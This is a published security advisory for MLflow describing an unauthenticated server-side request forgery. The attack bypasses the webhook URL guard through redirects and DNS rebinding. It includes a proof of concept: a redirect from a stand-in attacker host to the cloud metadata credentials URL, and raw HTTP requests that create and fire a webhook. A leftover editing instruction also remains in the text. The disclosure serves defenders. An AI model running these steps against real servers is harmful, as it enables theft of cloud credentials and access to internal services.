PYSEC-2026-3687

Vulnerability from pysec - Published: 2026-08-19 11:56 - Updated: 2026-08-19 12:16
VLAI
Details

Summary

The default MLflow Tracking Server (mlflow server, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous POST /api/2.0/mlflow/webhooks/{id}/test endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (_validate_webhook_url, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no allow_redirects=False) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns 302 Location: http://169.254.169.254/... (or http://127.0.0.1:...); MLflow follows it and never re-validates the redirect target. Because /test reflects the response body, this is an unauthenticated full-read SSRF on a default server.

Details

Three facts combine:

  1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (mlflow/server/auth/__init__.py, WEBHOOK_BEFORE_REQUEST_HANDLERS), which is not loaded by default.

  2. The guard validates but pins nothing — mlflow/utils/validation.py _validate_webhook_url:

schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get()        # default ["https"]
if parsed_url.scheme not in schemes: raise ...
if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get():        # default False
    for addr_info in socket.getaddrinfo(hostname, None):
        ip = ipaddress.ip_address(addr_info[4][0])
        if not ip.is_global: raise ...                 # blocks RFC1918/loopback/link-local/metadata

The resolved IP is never carried into the connection.

  1. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py:
def _create_webhook_session():
    adapter = HTTPAdapter(max_retries=retry_strategy)  # retry only; no IP pinning
    ...
def _send_webhook_request(webhook, payload, event, session):
    _validate_webhook_url(webhook.url)                 # re-validates the ORIGINAL url only
    return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)
    # no allow_redirects=False  -> 302 followed; redirect Location never re-validated

test_webhook returns response_status and response_body to the caller. Bypass vectors:

Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it. DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.

PoC

All requests are unauthenticated, sent to the MLflow tracking server ({{TARGET}}). The SSRF fetch is performed by the MLflow server itself; the internal response is reflected back in the /test response. {{ATTACKER}} is a host the researcher controls that resolves to a public IP and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.

Attacker redirect server (on {{ATTACKER}}, valid TLS cert): nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }

Step 0 — negative control (proves the guard is active; the naive internal URL is rejected):

POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json

{"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}

-> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."}
(an https://127.0.0.1/ variant is likewise rejected as a non-public IP)

image

Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url):

POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json

{"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}

-> 200 {"webhook":{"webhook_id":"<WEBHOOK_ID>", ... ,"status":"ACTIVE"}}

image

Step 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned:

POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json

{"webhook_id":"<WEBHOOK_ID>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}}

-> 200 {"result":{"success":true,"response_status":200,
        "response_body":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}}

image

Confirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting to a local secret service, Step 2 returned: "response_body":"INTERNAL_SECRET=mlflow_ssrf_proof_7f3a91\nrole=admin\n"

For convenience, the "my secret data" is saved in the same location.

image

Notes: - Webhook events enum values must be UPPERCASE proto names (REGISTERED_MODEL, CREATED); lowercase maps to ENTITY_UNSPECIFIED and 500s. - Default allowed scheme is https only; the first hop must be https, the redirect Location may be http. - Webhooks require a SQL store; the default mlflow server (sqlite:///mlflow.db) qualifies. No auth needed.

  • Credit / independent discovery: Originally reported privately by @freeman-bb via this advisory on 2026-06-12. The same vulnerability was independently discovered through code review and reported publicly by @AUTHENSOR in issue #24179 on 2026-06-26. Fixed in PR #24258. Discovery priority belongs to @freeman-bb; @AUTHENSOR is credited as an independent finder.

Impact

An unauthenticated attacker who can reach the tracking server makes the server issue HTTP requests to arbitrary internal/loopback/cloud-metadata endpoints and reads the responses via /test: cloud instance-metadata (e.g. AWS IMDS IAM credentials), internal-only admin services behind the network boundary, and internal port/host scanning. The event-driven delivery path gives the same SSRF blindly; /test makes it full-read. This is an incomplete fix of the PR #20747 guard, confirmed present on the latest release (3.13.0) and on master. Not a duplicate of CVE-2025-14279 (browser-side rebinding CSRF, CWE-352).

Fix

Fixed in https://github.com/mlflow/mlflow/pull/24258 (commit ba94952247), which adds connection-time SSRF protection (SSRFProtectedHTTPAdapter): the peer IP of each connected socket is validated against public-IP rules immediately after connect(), before any TLS/HTTP exchange. This covers the redirect targets as well (each redirect opens a new connection through the protected pool), closing both the 302-read and 307/308-write variants and the DNS-rebinding TOCTOU.

Redirect variants

The same missing re-validation enables two distinct primitives depending on the redirect status code:

  • 302 (read): the redirect target is fetched with GET and, because POST /api/2.0/mlflow/webhooks/{id}/test reflects the upstream response body (WebhookTestResult.response_body), the attacker reads arbitrary internal HTTP responses (cloud metadata, internal services).
  • 307 / 308 (blind write): these preserve the original POST method and body, so the attacker can POST attacker-controlled payloads into private-network management endpoints that act on POST (e.g. Docker daemon /stop, Elasticsearch /_close, Spring Boot Actuator /shutdown).

Neither requires authentication on a default OSS server.

Then add a fix reference near the top or in a "Remediation" note:

Severity
9.3 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
Impacted products
Name purl
mlflow pkg:pypi/mlflow
Aliases
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mlflow",
        "purl": "pkg:pypi/mlflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.0.1",
        "0.1.0",
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      ]
    }
  ],
  "aliases": [
    "CVE-2026-64849",
    "GHSA-7gwp-5pfp-969j"
  ],
  "details": "### Summary\nThe default MLflow Tracking Server (`mlflow server`, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous `POST /api/2.0/mlflow/webhooks/{id}/test` endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (`_validate_webhook_url`, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no `allow_redirects=False`) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns `302 Location: http://169.254.169.254/...` (or `http://127.0.0.1:...`); MLflow follows it and never re-validates the redirect target. Because `/test` reflects the response body, this is an unauthenticated full-read SSRF on a default server.\n\n### Details\nThree facts combine:\n\n1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (`mlflow/server/auth/__init__.py`, `WEBHOOK_BEFORE_REQUEST_HANDLERS`), which is not loaded by default.\n\n2. The guard validates but pins nothing \u2014 `mlflow/utils/validation.py` `_validate_webhook_url`:\n```python\nschemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get()        # default [\"https\"]\nif parsed_url.scheme not in schemes: raise ...\nif not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get():        # default False\n    for addr_info in socket.getaddrinfo(hostname, None):\n        ip = ipaddress.ip_address(addr_info[4][0])\n        if not ip.is_global: raise ...                 # blocks RFC1918/loopback/link-local/metadata\n```\nThe resolved IP is never carried into the connection.\n\n3. Delivery follows redirects and re-resolves with no pinning \u2014 mlflow/webhooks/delivery.py:\n```python\ndef _create_webhook_session():\n    adapter = HTTPAdapter(max_retries=retry_strategy)  # retry only; no IP pinning\n    ...\ndef _send_webhook_request(webhook, payload, event, session):\n    _validate_webhook_url(webhook.url)                 # re-validates the ORIGINAL url only\n    return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)\n    # no allow_redirects=False  -\u003e 302 followed; redirect Location never re-validated\n```\ntest_webhook returns response_status and response_body to the caller.\nBypass vectors:\n\nRedirect-follow (reliable): attacker\u0027s allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it.\nDNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.\n\n### PoC\nAll requests are unauthenticated, sent to the MLflow tracking server (`{{TARGET}}`). The SSRF\nfetch is performed by the MLflow server itself; the internal response is reflected back in the\n`/test` response. `{{ATTACKER}}` is a host the researcher controls that resolves to a public IP\nand serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.\n\nAttacker redirect server (on {{ATTACKER}}, valid TLS cert):\n    nginx:  location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }\n\nStep 0 \u2014 negative control (proves the guard is active; the naive internal URL is rejected):\n\n    POST /api/2.0/mlflow/webhooks HTTP/1.1\n    Host: {{TARGET}}\n    Content-Type: application/json\n\n    {\"name\":\"neg\",\"url\":\"http://127.0.0.1:6379/\",\"events\":[{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}]}\n\n    -\u003e 400 {\"message\":\"Invalid webhook URL scheme: \u0027http\u0027. Allowed schemes are: https.\"}\n    (an https://127.0.0.1/ variant is likewise rejected as a non-public IP)\n\n\u003cimg width=\"1154\" height=\"437\" alt=\"image\" src=\"https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019\" /\u003e\n\n\nStep 1 \u2014 create a webhook pointing at the attacker\u0027s public HTTPS host (passes _validate_webhook_url):\n\n    POST /api/2.0/mlflow/webhooks HTTP/1.1\n    Host: {{TARGET}}\n    Content-Type: application/json\n\n    {\"name\":\"poc\",\"url\":\"https://{{ATTACKER}}/innocent\",\"events\":[{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}]}\n\n    -\u003e 200 {\"webhook\":{\"webhook_id\":\"\u003cWEBHOOK_ID\u003e\", ... ,\"status\":\"ACTIVE\"}}\n\n\u003cimg width=\"1394\" height=\"520\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9004705f-67e1-486f-a905-1f744eb3636d\" /\u003e\n\n\nStep 2 \u2014 fire it via the unauthenticated /test endpoint; the internal response body is returned:\n\n    POST /api/2.0/mlflow/webhooks/\u003cWEBHOOK_ID\u003e/test HTTP/1.1\n    Host: {{TARGET}}\n    Content-Type: application/json\n\n    {\"webhook_id\":\"\u003cWEBHOOK_ID\u003e\",\"event\":{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}}\n\n    -\u003e 200 {\"result\":{\"success\":true,\"response_status\":200,\n            \"response_body\":\"\u003ccontents of http://169.254.169.254/latest/meta-data/... fetched by the server\u003e\"}}\n\n\u003cimg width=\"1399\" height=\"453\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1e5bb020-0855-4be8-a53b-e97daeabf1dc\" /\u003e\n\n\nConfirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting\nto a local secret service, Step 2 returned:\n    \"response_body\":\"INTERNAL_SECRET=mlflow_ssrf_proof_7f3a91\\nrole=admin\\n\"\n\nFor convenience, the \"my secret data\" is saved in the same location.\n\n\u003cimg width=\"730\" height=\"208\" alt=\"image\" src=\"https://github.com/user-attachments/assets/680e1895-6d2e-4fd7-838f-c484561b6e5c\" /\u003e\n\n\n\nNotes:\n- Webhook `events` enum values must be UPPERCASE proto names (REGISTERED_MODEL, CREATED); lowercase\n  maps to ENTITY_UNSPECIFIED and 500s.\n- Default allowed scheme is https only; the first hop must be https, the redirect Location may be http.\n- Webhooks require a SQL store; the default `mlflow server` (sqlite:///mlflow.db) qualifies. No auth needed.\n\n- Credit / independent discovery: Originally reported privately by @freeman-bb via this advisory on 2026-06-12. The same vulnerability was independently discovered through code review and reported publicly by @AUTHENSOR in issue #24179 on 2026-06-26. Fixed in PR #24258. Discovery priority belongs to @freeman-bb; @AUTHENSOR is credited as an independent finder.\n\n### Impact\nAn unauthenticated attacker who can reach the tracking server makes the server issue HTTP requests to arbitrary internal/loopback/cloud-metadata endpoints and reads the responses via /test: cloud instance-metadata (e.g. AWS IMDS IAM credentials), internal-only admin services behind the network boundary, and internal port/host scanning. The event-driven delivery path gives the same SSRF blindly; /test makes it full-read. This is an incomplete fix of the PR #20747 guard, confirmed present on the latest release (3.13.0) and on master. Not a duplicate of CVE-2025-14279 (browser-side rebinding CSRF, CWE-352).\n\n### Fix\n\nFixed in https://github.com/mlflow/mlflow/pull/24258 (commit `ba94952247`), which adds connection-time SSRF protection (`SSRFProtectedHTTPAdapter`): the peer IP of each connected socket is validated against public-IP rules immediately after `connect()`, before any TLS/HTTP exchange. This covers the redirect targets as well (each redirect opens a new connection through the protected pool), closing both the 302-read and 307/308-write variants and the DNS-rebinding TOCTOU.\n\n### Redirect variants\n\nThe same missing re-validation enables two distinct primitives depending on the redirect status code:\n\n- **302 (read):** the redirect target is fetched with GET and, because `POST /api/2.0/mlflow/webhooks/{id}/test` reflects the upstream response body (`WebhookTestResult.response_body`), the attacker reads arbitrary internal HTTP responses (cloud metadata, internal services).\n- **307 / 308 (blind write):** these preserve the original POST method and body, so the attacker can POST attacker-controlled payloads into private-network management endpoints that act on POST (e.g. Docker daemon `/stop`, Elasticsearch `/_close`, Spring Boot Actuator `/shutdown`).\n\nNeither requires authentication on a default OSS server.\n\nThen add a fix reference near the top or in a \"Remediation\" note:",
  "id": "PYSEC-2026-3687",
  "modified": "2026-08-19T12:16:29.428379Z",
  "published": "2026-08-19T11:56:27.173497Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow/security/advisories/GHSA-7gwp-5pfp-969j"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow/issues/24179"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow/pull/24258"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow/commit/ba949522477cbd5915aa55d29b0cfad7d5ddf939"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mlflow/mlflow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow/releases/tag/v3.15.0"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/mlflow"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-7gwp-5pfp-969j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-64849"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MLflow: Unauthenticated full-read SSRF in webhook delivery: _validate_webhook_url bypassed via unvalidated HTTP redirects (and DNS rebinding)"
}



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